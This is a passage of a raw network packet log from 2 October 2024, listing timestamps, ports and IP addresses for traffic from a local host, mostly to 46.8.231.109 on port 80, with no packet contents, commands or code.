Oct 2, 2024 05:20:03.807632923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807665110 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807920933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807933092 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807944059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807955027 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.807981014 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.807996035 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808079004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808090925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808100939 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808113098 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808124065 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808131933 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808134079 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808140039 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808151007 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808161020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808166027 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808172941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808185101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808187962 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808195114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808201075 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808207989 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808218002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808223963 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808228970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808240891 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808248997 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808262110 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808288097 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808861971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808872938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808882952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808900118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808909893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808917046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808921099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808928967 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808933020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808944941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808954954 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808958054 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808967113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.808967113 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808979034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808990002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.808993101 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809001923 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809012890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809016943 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809025049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809025049 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809036970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809047937 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809055090 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809061050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809073925 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809087992 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809537888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809549093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809560061 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809570074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809581041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809591055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809598923 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809602976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809612989 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809614897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809627056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809637070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809639931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809648037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809659004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809665918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809669971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809673071 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809683084 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.809700012 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.809725046 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843014002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843024015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843035936 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843101025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843102932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843115091 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843126059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843137026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843153000 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843178034 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843211889 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843224049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843234062 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843249083 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843275070 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843307972 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843372107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843389988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843430996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843476057 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843487024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843497992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843512058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843518019 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843533039 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843584061 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843615055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843626976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843662024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843713045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843729973 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843741894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843750954 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.843769073 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.843779087 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.896981001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897011995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897023916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897068977 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897078991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897087097 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897087097 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897092104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897102118 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897130013 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897202969 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897214890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897221088 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897317886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897371054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897437096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897447109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897464037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897475004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897480011 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897486925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897492886 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897520065 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897598028 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897609949 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897619963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897629976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897639990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897650003 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897651911 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897681952 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897830963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897849083 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897861004 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897872925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.897891045 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.897918940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898006916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898019075 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898030996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898041964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898052931 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898062944 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898066044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898077011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898092031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898099899 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898127079 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898211956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898248911 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898412943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898422956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898432970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898442030 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898452044 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898463011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898473024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898479939 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898483992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898495913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898503065 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898507118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898519039 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898521900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898529053 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898531914 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898542881 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898552895 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898559093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898582935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898592949 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898884058 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898895979 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898905039 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898916006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898921967 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898926973 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898937941 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898938894 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898952007 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898962975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898986101 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.898988962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.898999929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899009943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899019957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899030924 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899040937 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899045944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899049997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899060965 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899070024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899070978 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899080992 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899082899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899106026 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899132967 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899511099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899523020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899533033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899543047 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899554014 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899561882 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899564981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899576902 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899576902 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899589062 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899600029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899602890 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899612904 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899641991 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899806023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899816990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899826050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899837971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899844885 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899873972 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899882078 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899893999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899904013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899914026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899924040 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899934053 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.899938107 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899951935 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.899976969 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900306940 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900317907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900327921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900337934 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900346994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900356054 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900366068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900376081 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900382042 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900382996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900387049 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900389910 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900401115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900412083 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900415897 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900425911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900438070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.900439024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900465965 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.900480032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.933666945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933693886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933721066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933760881 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933809996 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933820963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933825016 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.933872938 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.933900118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933912039 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933928967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.933945894 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.934056044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.934068918 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934079885 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934089899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934098959 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934112072 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934114933 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934120893 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934127092 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.934154034 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.934284925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934294939 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934310913 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934315920 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934328079 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934340000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934360981 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.934387922 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.934458971 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934470892 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.934627056 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.964904070 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.964927912 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.964966059 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.964982033 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.965013981 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.965023994 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.965043068 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.965058088 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.987512112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987543106 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987554073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987571955 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987591028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987611055 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987622976 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987634897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987663984 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987675905 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987768888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987781048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987792015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987802982 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987823963 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987844944 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987922907 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987941980 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987955093 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987965107 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987970114 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987984896 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.987994909 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.987999916 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988008976 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988013983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988038063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988064051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.988209963 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.988221884 CEST	80	49775	46.8.231.109	192.168.2.4
